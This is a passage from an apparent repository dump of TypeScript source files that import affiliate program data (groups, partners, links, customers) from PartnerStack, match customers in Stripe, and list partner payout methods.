}\n          return acc;\n        },\n        {} as Record<string, Date>,\n      );\n\n      const existingCustomers = await prisma.customer.findMany({\n        where: {\n          projectId: program.workspace.id,\n          OR: [\n            {\n              email: {\n                in: customers\n                  .map(({ email }) => email)\n                  .filter((e): e is string => e != null),\n              },\n            },\n            {\n              externalId: {\n                in: customers\n                  .map(({ customer_key }) => customer_key)\n                  .filter((c): c is string => c != null),\n              },\n            },\n          ],\n        },\n      });\n\n      await Promise.allSettled(\n        customers.map((customer) => {\n          const partnerId = partnerKeysToId[customer.partnership_key];\n          const links = partnerId ? partnerIdToLinks.get(partnerId) ?? [] : [];\n\n          return createCustomer({\n            workspace: program.workspace,\n            links,\n            customer,\n            existingCustomers,\n            latestLeadAt: partnerKeysToLatestLeadAt[customer.partnership_key],\n            importId,\n          });\n        }),\n      );\n    }\n\n    await new Promise((resolve) => setTimeout(resolve, 2000));\n\n    processedBatches++;\n    currentStartingAfter = customers[customers.length - 1].key;\n  }\n\n  await partnerStackImporter.queue({\n    ...payload,\n    startingAfter: hasMore ? currentStartingAfter : undefined,\n    action: hasMore ? \"import-customers\" : \"import-commissions\",\n  });\n\n  if (!hasMore) {\n    await redis.del(`${PARTNER_IDS_KEY_PREFIX}:${programId}`);\n  }\n}\n\nasync function createCustomer({\n  workspace,\n  links,\n  customer,\n  existingCustomers,\n  latestLeadAt,\n  importId,\n}: {\n  workspace: Pick<Project, \"id\" | \"stripeConnectId\">;\n  links: Pick<\n    Link,\n    \"id\" | \"key\" | \"domain\" | \"url\" | \"partnerId\" | \"programId\" | \"lastLeadAt\"\n  >[];\n  customer: PartnerStackCustomer;\n  existingCustomers: Customer[];\n  latestLeadAt: Date;\n  importId: string;\n}) {\n  const commonImportLogInputs = {\n    workspace_id: workspace.id,\n    import_id: importId,\n    source: \"partnerstack\",\n    entity: \"customer\",\n    entity_id: customer.customer_key || customer.email,\n  } as const;\n\n  if (links.length === 0) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `Link not found for customer ${customer.customer_key}.`,\n    });\n\n    return;\n  }\n\n  if (!customer.email) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CUSTOMER_EMAIL_NOT_FOUND\",\n      message: `Email not found for customer ${customer.customer_key}.`,\n    });\n\n    return;\n  }\n\n  // Find the customer by email address\n  const customerFound = existingCustomers.find(\n    (c) => c.email === customer.email || c.externalId === customer.customer_key,\n  );\n\n  if (customerFound) {\n    console.log(`A customer already exists with email ${customer.email}`);\n    return;\n  }\n\n  const link = links[0];\n\n  const dummyRequest = new Request(link.url, {\n    headers: new Headers({\n      \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)\",\n      \"x-forwarded-for\": \"127.0.0.1\",\n      \"x-vercel-ip-country\": \"US\",\n      \"x-vercel-ip-country-region\": \"CA\",\n      \"x-vercel-ip-continent\": \"NA\",\n    }),\n  });\n\n  const clickData = await recordClick({\n    req: dummyRequest,\n    clickId: nanoid(16),\n    workspaceId: workspace.id,\n    linkId: link.id,\n    domain: link.domain,\n    key: link.key,\n    url: link.url,\n    skipRatelimit: true,\n    timestamp: new Date(customer.created_at).toISOString(),\n  });\n\n  const clickEvent = clickEventSchemaTB.parse({\n    ...clickData,\n    bot: 0,\n    qr: 0,\n  });\n\n  const customerId = createId({ prefix: \"cus_\" });\n\n  try {\n    await prisma.customer.create({\n      data: {\n        id: customerId,\n        name:\n          // if name is null/undefined or starts with cus_, use email as name\n          !customer.name || customer.name.startsWith(\"cus_\")\n            ? customer.email\n            : customer.name,\n        email: customer.email,\n        projectId: workspace.id,\n        projectConnectId: workspace.stripeConnectId,\n        clickId: clickEvent.click_id,\n        linkId: link.id,\n        programId: link.programId,\n        partnerId: link.partnerId,\n        country: clickEvent.country,\n        clickedAt: new Date(customer.created_at),\n        createdAt: new Date(customer.created_at),\n        externalId: customer.customer_key || customer.email,\n      },\n    });\n\n    await Promise.all([\n      recordLeadWithTimestamp({\n        ...clickEvent,\n        event_id: nanoid(16),\n        event_name: \"Sign up\",\n        customer_id: customerId,\n        timestamp: new Date(customer.created_at).toISOString(),\n      }),\n\n      prisma.link.update({\n        where: {\n          id: link.id,\n        },\n        data: {\n          leads: {\n            increment: 1,\n          },\n          lastLeadAt: updateLinkStatsForImporter({\n            currentTimestamp: link.lastLeadAt,\n            newTimestamp: latestLeadAt,\n          }),\n        },\n      }),\n\n      // partner links should always have a partnerId and programId, but we're doing this to make TS happy\n      ...(link.partnerId && link.programId\n        ? [\n            syncPartnerLinksStats({\n              partnerId: link.partnerId,\n              programId: link.programId,\n              eventType: \"lead\",\n            }),\n          ]\n        : []),\n    ]);\n  } catch (error) {\n    console.error(\"Error creating customer\", customer, error);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/partnerstack/import-groups.ts",
    "content": "import { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { prisma } from \"@dub/prisma\";\nimport { getDomainWithoutWWW, randomValue } from \"@dub/utils\";\nimport { createId } from \"../api/create-id\";\nimport { DEFAULT_ADDITIONAL_PARTNER_LINKS } from \"../zod/schemas/groups\";\nimport { PartnerStackApi } from \"./api\";\nimport { partnerStackImporter } from \"./importer\";\nimport { PartnerStackImportPayload } from \"./types\";\n\nexport async function importGroups(payload: PartnerStackImportPayload) {\n  const { programId } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    select: {\n      workspaceId: true,\n      domain: true,\n      url: true,\n    },\n  });\n\n  if (!program.domain || !program.url) {\n    throw new Error(\"Program domain or URL is not set.\");\n  }\n\n  const { publicKey, secretKey } = await partnerStackImporter.getCredentials(\n    program.workspaceId,\n  );\n\n  const partnerStackApi = new PartnerStackApi({\n    publicKey,\n    secretKey,\n  });\n\n  const groups = await partnerStackApi.listGroups();\n\n  if (groups.length > 0) {\n    for (const group of groups) {\n      await prisma.partnerGroup.upsert({\n        where: {\n          programId_slug: {\n            programId,\n            slug: group.slug,\n          },\n        },\n        create: {\n          id: createId({ prefix: \"grp_\" }),\n          programId,\n          name: group.name,\n          slug: group.slug,\n          color: randomValue(RESOURCE_COLORS),\n          additionalLinks: [\n            {\n              domain: getDomainWithoutWWW(program.url),\n              validationMode: \"domain\",\n            },\n          ],\n          maxPartnerLinks: DEFAULT_ADDITIONAL_PARTNER_LINKS,\n          partnerGroupDefaultLinks: {\n            create: {\n              id: createId({ prefix: \"pgdl_\" }),\n              programId,\n              domain: program.domain,\n              url: program.url,\n            },\n          },\n        },\n        update: {},\n      });\n\n      console.log(`Imported group ${group.name}.`);\n    }\n  }\n\n  await partnerStackImporter.queue({\n    ...payload,\n    action: \"import-partners\",\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/partnerstack/import-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { createLink } from \"../api/links\";\nimport { generatePartnerLink } from \"../api/partners/generate-partner-link\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { PartnerProps, ProgramProps, WorkspaceProps } from \"../types\";\nimport { PartnerStackApi } from \"./api\";\nimport { partnerStackImporter } from \"./importer\";\nimport { PartnerStackImportPayload, PartnerStackLink } from \"./types\";\n\nexport async function importLinks(payload: PartnerStackImportPayload) {\n  const { importId, programId, userId, startingAfter } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      workspace: true,\n      groups: {\n        include: {\n          partnerGroupDefaultLinks: true,\n        },\n      },\n    },\n  });\n\n  const { publicKey, secretKey } = await partnerStackImporter.getCredentials(\n    program.workspaceId,\n  );\n\n  const partnerStackApi = new PartnerStackApi({\n    publicKey,\n    secretKey,\n  });\n\n  // Create a map of group Id to group\n  const groupsById = new Map(program.groups.map((group) => [group.id, group]));\n\n  let hasMore = true;\n  let currentStartingAfter = startingAfter;\n\n  const enrollments = await prisma.programEnrollment.findMany({\n    where: {\n      programId,\n    },\n    select: {\n      id: true,\n      groupId: true,\n      partner: {\n        select: {\n          id: true,\n          email: true,\n          name: true,\n        },\n      },\n    },\n    take: 50,\n    skip: currentStartingAfter ? 1 : 0,\n    ...(currentStartingAfter && {\n      cursor: {\n        id: currentStartingAfter,\n      },\n    }),\n  });\n\n  if (enrollments.length === 0) {\n    hasMore = false;\n  } else {\n    currentStartingAfter = enrollments[enrollments.length - 1].id;\n  }\n\n  for (const { partner, groupId } of enrollments) {\n    if (!partner.email) {\n      console.log(\"Partner has no email. Skipping the link import.\");\n      continue;\n    }\n\n    try {\n      const links = await partnerStackApi.listLinks({\n        identifier: partner.email,\n      });\n\n      if (links.length === 0) {\n        console.log(`No links found for partner ${partner.email}`);\n        continue;\n      }\n\n      const partnerGroup = groupsById.get(groupId!);\n\n      await Promise.allSettled(\n        links.map(async (link, idx) =>\n          createPartnerLink({\n            workspace: program.workspace as WorkspaceProps,\n            program,\n            partner,\n            link,\n            userId,\n            importId,\n            partnerGroupDefaultLinkId:\n              partnerGroup?.partnerGroupDefaultLinks[idx]?.id ?? null,\n          }),\n        ),\n      );\n    } catch (error) {\n      console.log(\n        `Partner ${partner.email} doesn't exist on PartnerStack, skipping...`,\n      );\n    }\n\n    await new Promise((resolve) => setTimeout(resolve, 100));\n  }\n\n  await partnerStackImporter.queue({\n    ...payload,\n    startingAfter: hasMore ? currentStartingAfter : undefined,\n    action: hasMore ? \"import-links\" : \"import-customers\",\n  });\n}\n\nasync function createPartnerLink({\n  workspace,\n  program,\n  partner,\n  link,\n  userId,\n  importId,\n  partnerGroupDefaultLinkId,\n}: {\n  workspace: WorkspaceProps;\n  program: ProgramProps;\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\">;\n  link: PartnerStackLink;\n  userId: string;\n  importId: string;\n  partnerGroupDefaultLinkId: string | null;\n}) {\n  const commonImportLogInputs = {\n    workspace_id: workspace.id,\n    import_id: importId,\n    source: \"partnerstack\",\n    entity: \"link\",\n    entity_id: link.key,\n  } as const;\n\n  const key = link.url.split(\"/\").pop();\n\n  if (!key) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `No key found in the link ${link.url}`,\n    });\n\n    return null;\n  }\n\n  const linkFound = await prisma.link.findUnique({\n    where: {\n      domain_key: {\n        domain: program.domain!,\n        key,\n      },\n    },\n    select: {\n      partnerId: true,\n    },\n  });\n\n  if (linkFound?.partnerId === partner.id) {\n    console.log(\n      `Partner ${partner.id} already has a link with key ${key}, skipping...`,\n    );\n    return null;\n  }\n\n  try {\n    const partnerLink = await generatePartnerLink({\n      workspace,\n      program,\n      partner: {\n        id: partner.id,\n        name: partner.name,\n        email: partner.email!,\n      },\n      link: {\n        domain: program.domain!,\n        url: link.url,\n        key,\n        partnerGroupDefaultLinkId,\n      },\n      userId,\n    });\n\n    return createLink(partnerLink);\n  } catch (error) {\n    console.error(\"Error creating partner link\", error, link);\n    return null;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/partnerstack/import-partners.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { PartnerGroup, Program } from \"@dub/prisma/client\";\nimport { COUNTRIES, COUNTRY_CODES } from \"@dub/utils\";\nimport { createId } from \"../api/create-id\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { redis } from \"../upstash\";\nimport { DEFAULT_PARTNER_GROUP } from \"../zod/schemas/groups\";\nimport { PartnerStackApi } from \"./api\";\nimport {\n  MAX_BATCHES,\n  PARTNER_IDS_KEY_PREFIX,\n  partnerStackImporter,\n} from \"./importer\";\nimport { PartnerStackImportPayload, PartnerStackPartner } from \"./types\";\n\nconst COUNTRY_NAME_TO_CODE = new Map(\n  Object.entries(COUNTRIES).map(([code, name]) => [name, code]),\n);\n\nexport async function importPartners(payload: PartnerStackImportPayload) {\n  const { importId, programId, startingAfter } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      groups: true,\n    },\n  });\n\n  const groupMap = Object.fromEntries(\n    program.groups.map((group) => [group.slug, group]),\n  );\n\n  const { publicKey, secretKey } = await partnerStackImporter.getCredentials(\n    program.workspaceId,\n  );\n\n  const partnerStackApi = new PartnerStackApi({\n    publicKey,\n    secretKey,\n  });\n\n  let hasMore = true;\n  let processedBatches = 0;\n  let currentStartingAfter = startingAfter;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const partners = await partnerStackApi.listPartners({\n      startingAfter: currentStartingAfter,\n    });\n\n    if (partners.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    await Promise.allSettled(\n      partners.map((partner) =>\n        createPartner({\n          program,\n          partner,\n          group: groupMap[partner.group?.slug ?? DEFAULT_PARTNER_GROUP.slug],\n          importId,\n        }),\n      ),\n    );\n\n    await new Promise((resolve) => setTimeout(resolve, 2000));\n\n    processedBatches++;\n    currentStartingAfter = partners[partners.length - 1].key;\n  }\n\n  // After importing partners, clean up by deleting any groups that have no assigned partners\n  if (!hasMore) {\n    const groups = await prisma.partnerGroup.findMany({\n      where: {\n        programId,\n        slug: {\n          not: DEFAULT_PARTNER_GROUP.slug,\n        },\n        partners: {\n          none: {},\n        },\n      },\n      select: {\n        id: true,\n      },\n    });\n\n    if (groups.length > 0) {\n      console.log(\n        `Found ${groups.length} groups with no partners, deleting...`,\n      );\n\n      await prisma.partnerGroup.deleteMany({\n        where: {\n          id: {\n            in: groups.map(({ id }) => id),\n          },\n        },\n      });\n    }\n  }\n\n  await partnerStackImporter.queue({\n    ...payload,\n    startingAfter: hasMore ? currentStartingAfter : undefined,\n    action: hasMore ? \"import-partners\" : \"import-links\",\n  });\n}\n\nasync function createPartner({\n  program,\n  partner,\n  group,\n  importId,\n}: {\n  program: Program;\n  partner: PartnerStackPartner;\n  group: PartnerGroup;\n  importId: string;\n}) {\n  const commonImportLogInputs = {\n    workspace_id: program.workspaceId,\n    import_id: importId,\n    source: \"partnerstack\",\n    entity: \"partner\",\n    entity_id: partner.key,\n  } as const;\n\n  if (partner.stats.CUSTOMER_COUNT === 0) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"INACTIVE_PARTNER\",\n      message: `No leads found for partner ${partner.email}`,\n    });\n\n    return;\n  }\n\n  // Resolve partner's country: check if it's a valid code first,\n  // otherwise fall back to lookup by country name because PS returns the name in some cases\n  const country = partner.address?.country;\n  const countryCode = country\n    ? COUNTRY_CODES.includes(country)\n      ? country\n      : COUNTRY_NAME_TO_CODE.get(country) ?? null\n    : null;\n\n  if (country && !countryCode) {\n    console.log(`Country code not found for country ${country}`);\n  }\n\n  const { id: partnerId } = await prisma.partner.upsert({\n    where: {\n      email: partner.email,\n    },\n    create: {\n      id: createId({ prefix: \"pn_\" }),\n      name: `${partner.first_name} ${partner.last_name}`,\n      email: partner.email,\n      country: countryCode,\n    },\n    update: {\n      // do nothing\n    },\n  });\n\n  await prisma.programEnrollment.upsert({\n    where: {\n      partnerId_programId: {\n        partnerId,\n        programId: program.id,\n      },\n    },\n    create: {\n      id: createId({ prefix: \"pge_\" }),\n      programId: program.id,\n      partnerId,\n      status: \"approved\",\n      groupId: group.id,\n      clickRewardId: group.clickRewardId,\n      leadRewardId: group.leadRewardId,\n      saleRewardId: group.saleRewardId,\n      discountId: group.discountId,\n    },\n    update: {\n      status: \"approved\",\n    },\n  });\n\n  // PS doesn't return the partner email address in the customers response\n  // so we need to keep a map of partner_key (PS) -> partner_id (Dub)\n  // and use it to identify the partner in the customers response\n  await redis.hset(`${PARTNER_IDS_KEY_PREFIX}:${program.id}`, {\n    [partner.key]: partnerId,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/partnerstack/importer.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { redis } from \"@/lib/upstash\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { partnerStackImportPayloadSchema } from \"./schemas\";\nimport { PartnerStackCredentials } from \"./types\";\n\nexport const MAX_BATCHES = 5;\nexport const CACHE_EXPIRY = 60 * 60 * 24;\nexport const CACHE_KEY_PREFIX = \"partnerStack:import\";\nexport const PARTNER_IDS_KEY_PREFIX = \"partnerStack:import:partnerIds\";\n\nclass PartnerStackImporter {\n  async setCredentials(\n    workspaceId: string,\n    credentials: PartnerStackCredentials,\n  ) {\n    await redis.set(`${CACHE_KEY_PREFIX}:${workspaceId}`, credentials, {\n      ex: CACHE_EXPIRY,\n    });\n  }\n\n  async getCredentials(workspaceId: string) {\n    const config = await redis.get<PartnerStackCredentials>(\n      `${CACHE_KEY_PREFIX}:${workspaceId}`,\n    );\n\n    if (!config) {\n      throw new Error(\"PartnerStack configuration not found.\");\n    }\n\n    return config;\n  }\n\n  async deleteCredentials(workspaceId: string) {\n    return await redis.del(`${CACHE_KEY_PREFIX}:${workspaceId}`);\n  }\n\n  async queue(body: z.infer<typeof partnerStackImportPayloadSchema>) {\n    return await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/partnerstack`,\n      body,\n      contentBasedDeduplication: true,\n    });\n  }\n}\n\nexport const partnerStackImporter = new PartnerStackImporter();\n"
  },
  {
    "path": "apps/web/lib/partnerstack/schemas.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const partnerStackImportSteps = z.enum([\n  \"import-groups\",\n  \"import-partners\",\n  \"import-links\",\n  \"import-customers\",\n  \"import-commissions\",\n  \"update-stripe-customers\",\n]);\n\nexport const partnerStackCredentialsSchema = z.object({\n  publicKey: z.string().min(1),\n  secretKey: z.string().min(1),\n});\n\nexport const partnerStackImportPayloadSchema = z.object({\n  importId: z.string(),\n  userId: z.string(),\n  programId: z.string(),\n  action: partnerStackImportSteps,\n  startingAfter: z.string().optional(),\n});\n\nexport const partnerStackGroup = z.object({\n  key: z.string(),\n  name: z.string(),\n  slug: z.string(),\n  default: z.boolean(),\n});\n\nexport const partnerStackPartner = z.object({\n  key: z.string(),\n  email: z.string(),\n  first_name: z.string(),\n  last_name: z.string(),\n  address: z\n    .object({\n      country: z.string().nullable(),\n    })\n    .nullable(),\n  stats: z.object({\n    CUSTOMER_COUNT: z\n      .number()\n      .optional()\n      .default(0)\n      .describe(\"Only import if CUSTOMER_COUNT is greater than 0.\"),\n  }),\n  group: z\n    .object({\n      slug: z.string(),\n    })\n    .nullable(),\n});\n\nexport const partnerStackLink = z.object({\n  key: z.string(),\n  dest: z.string(),\n  url: z.string(),\n});\n\nexport const partnerStackCustomer = z.object({\n  key: z.string(),\n  name: z.string().nullable(),\n  email: z.string(),\n  provider_key: z\n    .string()\n    .nullable()\n    .describe(\"A unique identifier given by a payment provider.\"),\n  customer_key: z\n    .string()\n    .nullable()\n    .describe(\"External customer key that can be configured on creation.\"),\n  test: z.boolean().describe(\"True if created by a test.\"),\n  partnership_key: z.string(),\n  created_at: z.number(),\n  updated_at: z.number(),\n});\n\nexport const partnerStackCommission = z.object({\n  key: z.string(),\n  amount: z.number().describe(\"The amount of the reward in cents (USD).\"),\n  currency: z.string(),\n  created_at: z.number(),\n  customer: z\n    .object({\n      email: z.string(),\n      external_key: z.string().nullable(),\n    })\n    .nullable(),\n  transaction: z\n    .object({\n      amount: z.number().describe(\"The amount of the transaction.\"),\n      currency: z.string(),\n    })\n    .nullable(),\n  reward_status: z.enum([\n    \"hold\",\n    \"pending\",\n    \"approved\",\n    \"declined\",\n    \"paid\",\n    \"scheduled\",\n  ]),\n  partnership: z.object({\n    email: z.string().nullable(),\n  }),\n});\n"
  },
  {
    "path": "apps/web/lib/partnerstack/types.ts",
    "content": "import * as z from \"zod/v4\";\nimport {\n  partnerStackCommission,\n  partnerStackCredentialsSchema,\n  partnerStackCustomer,\n  partnerStackGroup,\n  partnerStackImportPayloadSchema,\n  partnerStackLink,\n  partnerStackPartner,\n} from \"./schemas\";\n\nexport interface PartnerStackListResponse<T> {\n  data: {\n    items: T[];\n  };\n}\n\nexport type PartnerStackImportPayload = z.infer<\n  typeof partnerStackImportPayloadSchema\n>;\n\nexport type PartnerStackGroup = z.infer<typeof partnerStackGroup>;\n\nexport type PartnerStackPartner = z.infer<typeof partnerStackPartner>;\n\nexport type PartnerStackLink = z.infer<typeof partnerStackLink>;\n\nexport type PartnerStackCustomer = z.infer<typeof partnerStackCustomer>;\n\nexport type PartnerStackCommission = z.infer<typeof partnerStackCommission>;\n\nexport type PartnerStackCredentials = z.infer<\n  typeof partnerStackCredentialsSchema\n>;\n"
  },
  {
    "path": "apps/web/lib/partnerstack/update-stripe-customers.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport ProgramImported from \"@dub/email/templates/program-imported\";\nimport { prisma } from \"@dub/prisma\";\nimport { Customer, Project } from \"@dub/prisma/client\";\nimport Stripe from \"stripe\";\nimport { stripeAppClient } from \"../stripe\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { MAX_BATCHES, partnerStackImporter } from \"./importer\";\nimport { PartnerStackImportPayload } from \"./types\";\n\nconst CUSTOMERS_PER_BATCH = 20;\n\nconst stripe = stripeAppClient({\n  ...(process.env.VERCEL_ENV && { mode: \"live\" }),\n});\n\n// PartnerStack API doesn't return the Stripe customer ID,\n// so we'll search for Stripe customers by email and update the customer record with the Stripe customer ID, if found.\nexport async function updateStripeCustomers(\n  payload: PartnerStackImportPayload,\n) {\n  const { importId, programId, userId, startingAfter } = payload;\n\n  const { workspace, ...program } = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    select: {\n      name: true,\n      workspace: {\n        select: {\n          id: true,\n          slug: true,\n          stripeConnectId: true,\n        },\n      },\n    },\n  });\n\n  if (!workspace.stripeConnectId) {\n    console.error(\n      `Workspace ${workspace.id} has no stripeConnectId. Skipping...`,\n    );\n    return;\n  }\n\n  let hasMore = true;\n  let processedBatches = 0;\n  let currentStartingAfter = startingAfter;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const customers = await prisma.customer.findMany({\n      where: {\n        projectId: workspace.id,\n        stripeCustomerId: null,\n      },\n      select: {\n        id: true,\n        name: true,\n        email: true,\n      },\n      orderBy: {\n        id: \"asc\",\n      },\n      take: CUSTOMERS_PER_BATCH,\n      skip: currentStartingAfter ? 1 : 0,\n      ...(currentStartingAfter && {\n        cursor: {\n          id: currentStartingAfter,\n        },\n      }),\n    });\n\n    if (customers.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    await Promise.allSettled(\n      customers.map((customer) =>\n        searchStripeAndUpdateCustomer({\n          workspace,\n          customer,\n          importId,\n        }),\n      ),\n    );\n\n    await new Promise((resolve) => setTimeout(resolve, 2000));\n\n    processedBatches++;\n    currentStartingAfter = customers[customers.length - 1].id;\n  }\n\n  if (hasMore) {\n    await partnerStackImporter.queue({\n      ...payload,\n      startingAfter: currentStartingAfter,\n      action: \"update-stripe-customers\",\n    });\n    return;\n  }\n\n  const workspaceUser = await prisma.projectUsers.findUniqueOrThrow({\n    where: {\n      userId_projectId: {\n        userId,\n        projectId: workspace.id,\n      },\n    },\n    select: {\n      user: {\n        select: {\n          email: true,\n        },\n      },\n    },\n  });\n\n  if (workspaceUser && workspaceUser.user.email) {\n    await sendEmail({\n      to: workspaceUser.user.email,\n      subject: \"PartnerStack program imported\",\n      react: ProgramImported({\n        email: workspaceUser.user.email,\n        workspace,\n        program,\n        provider: \"PartnerStack\",\n      }),\n    });\n  }\n}\n\nasync function searchStripeAndUpdateCustomer({\n  workspace,\n  customer,\n  importId,\n}: {\n  workspace: Pick<Project, \"id\" | \"slug\" | \"stripeConnectId\">;\n  customer: Pick<Customer, \"id\" | \"email\">;\n  importId: string;\n}) {\n  const commonImportLogInputs = {\n    workspace_id: workspace.id,\n    import_id: importId,\n    source: \"partnerstack\",\n    entity: \"customer\",\n    entity_id: customer.id,\n  } as const;\n\n  try {\n    const stripeCustomers = await stripe.customers.search(\n      {\n        query: `email:'${customer.email}'`,\n        expand: [\"data.subscriptions\"],\n      },\n      {\n        stripeAccount: workspace.stripeConnectId!,\n      },\n    );\n\n    if (stripeCustomers.data.length === 0) {\n      await logImportError({\n        ...commonImportLogInputs,\n        code: \"STRIPE_CUSTOMER_NOT_FOUND\",\n        message: `Stripe search returned no customer for ${customer.email}`,\n      });\n\n      return null;\n    }\n\n    let stripeCustomer: Stripe.Customer;\n\n    if (stripeCustomers.data.length > 1) {\n      // look for the one with metadata.customer_key set\n      const partnerStackStripeCustomer = stripeCustomers.data.find(\n        ({ metadata }) => metadata.customer_key,\n      );\n\n      if (partnerStackStripeCustomer) {\n        stripeCustomer = partnerStackStripeCustomer;\n      } else {\n        // look for the one with subscriptions\n        const customerWithSubcription = stripeCustomers.data.find(\n          ({ subscriptions }) => subscriptions && subscriptions.data.length > 0,\n        );\n\n        if (customerWithSubcription) {\n          console.log(\n            `Found Stripe customer with subscriptions for ${customer.email}: ${customerWithSubcription.id}`,\n          );\n          stripeCustomer = customerWithSubcription;\n        } else {\n          await logImportError({\n            ...commonImportLogInputs,\n            code: \"STRIPE_CUSTOMER_NOT_FOUND\",\n            message: `Stripe search returned multiple customers for ${customer.email} for workspace ${workspace.slug} and none had metadata.customer_key set`,\n          });\n          return null;\n        }\n      }\n    } else {\n      stripeCustomer = stripeCustomers.data[0];\n    }\n\n    await prisma.customer.update({\n      where: {\n        id: customer.id,\n      },\n      data: {\n        stripeCustomerId: stripeCustomer.id,\n      },\n    });\n\n    console.log(\n      `Updated customer ${customer.id} with Stripe customer ID ${stripeCustomer.id}`,\n    );\n  } catch (error) {\n    console.error(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/payouts/create-payouts-idempotency-key.ts",
    "content": "import { createHash } from \"crypto\";\n\ninterface CreatePayoutsIdempotencyKeyParams {\n  partnerId: string;\n  invoiceId: string | null | undefined;\n  payoutIds: string[];\n}\n\n// Create deterministic idempotency key for payouts\nexport function createPayoutsIdempotencyKey({\n  partnerId,\n  invoiceId,\n  payoutIds,\n}: CreatePayoutsIdempotencyKeyParams): string {\n  if (invoiceId) {\n    return `payouts-${invoiceId}-${partnerId}`;\n  }\n\n  const sortedPayoutIds = [...payoutIds].sort((a, b) => a.localeCompare(b));\n\n  const hash = createHash(\"sha256\")\n    .update(sortedPayoutIds.join(\",\"))\n    .digest(\"hex\")\n    .slice(0, 32);\n\n  return `payouts-${partnerId}-${hash}`;\n}\n"
  },
  {
    "path": "apps/web/lib/payouts/get-partner-payout-methods.ts",
    "content": "import { getPartnerBankAccount } from \"@/lib/partners/get-partner-bank-account\";\nimport { getPayoutMethodsForCountry } from \"@/lib/partners/get-payout-methods-for-country\";\nimport { getStripeRecipientPayoutMethod } from \"@/lib/stripe/get-stripe-recipient-payout-method\";\nimport { PartnerPayoutMethodSetting } from \"@/lib/types\";\nimport { Partner, PartnerPayoutMethod } from \"@dub/prisma/client\";\n\nexport async function getPartnerPayoutMethods(\n  partner: Pick<\n    Partner,\n    | \"id\"\n    | \"country\"\n    | \"stripeConnectId\"\n    | \"stripeRecipientId\"\n    | \"paypalEmail\"\n    | \"defaultPayoutMethod\"\n  >,\n) {\n  const availablePayoutMethods = getPayoutMethodsForCountry({\n    country: partner.country,\n  });\n\n  const [bankAccount, stripePayoutMethod] = await Promise.all([\n    partner.stripeConnectId\n      ? getPartnerBankAccount(partner.stripeConnectId)\n      : Promise.resolve(null),\n\n    partner.stripeRecipientId\n      ? getStripeRecipientPayoutMethod(partner.stripeRecipientId)\n      : Promise.resolve(null),\n  ]);\n\n  let payoutMethods: PartnerPayoutMethodSetting[] = [];\n\n  // Stablecoin\n  if (availablePayoutMethods.includes(PartnerPayoutMethod.stablecoin)) {\n    let identifier: string | null = null;\n\n    if (stripePayoutMethod?.crypto_wallet) {\n      const { address } = stripePayoutMethod.crypto_wallet;\n\n      identifier =\n        address.length > 10\n          ? `${address.slice(0, 6)}••••${address.slice(-4)}`\n          : address;\n    }\n\n    payoutMethods.push({\n      type: PartnerPayoutMethod.stablecoin,\n      label: \"Stablecoin\",\n      default: partner.defaultPayoutMethod === PartnerPayoutMethod.stablecoin,\n      connected: Boolean(stripePayoutMethod?.crypto_wallet),\n      identifier,\n    });\n  }\n\n  // Connect\n  if (availablePayoutMethods.includes(PartnerPayoutMethod.connect)) {\n    let identifier: string | null = null;\n\n    if (bankAccount) {\n      identifier = bankAccount.routing_number\n        ? `${bankAccount.routing_number}••••${bankAccount.last4}`\n        : `••••${bankAccount.last4}`;\n    }\n\n    payoutMethods.push({\n      type: PartnerPayoutMethod.connect,\n      label: \"Bank Account\",\n      default: partner.defaultPayoutMethod === PartnerPayoutMethod.connect,\n      connected: Boolean(bankAccount),\n      identifier,\n    });\n  }\n\n  // PayPal\n  if (availablePayoutMethods.includes(PartnerPayoutMethod.paypal)) {\n    payoutMethods.push({\n      type: PartnerPayoutMethod.paypal,\n      label: \"PayPal\",\n      default: partner.defaultPayoutMethod === PartnerPayoutMethod.paypal,\n      connected: Boolean(partner.paypalEmail),\n      identifier: partner.paypalEmail ?? null,\n    });\n  }\n\n  const stablecoinConnected = payoutMethods.some(\n    (m) => m.type === PartnerPayoutMethod.stablecoin && m.connected,\n  );\n\n  // When Stablecoin is connected: Show only Stablecoin + any other method that is already connected\n  if (stablecoinConnected) {\n    payoutMethods = payoutMethods.filter(\n      (m) => m.type === PartnerPayoutMethod.stablecoin || m.connected,\n    );\n  }\n\n  return payoutMethods;\n}\n"
  },
  {
    "path": "apps/web/lib/payouts/mark-payouts-as-processed.ts",
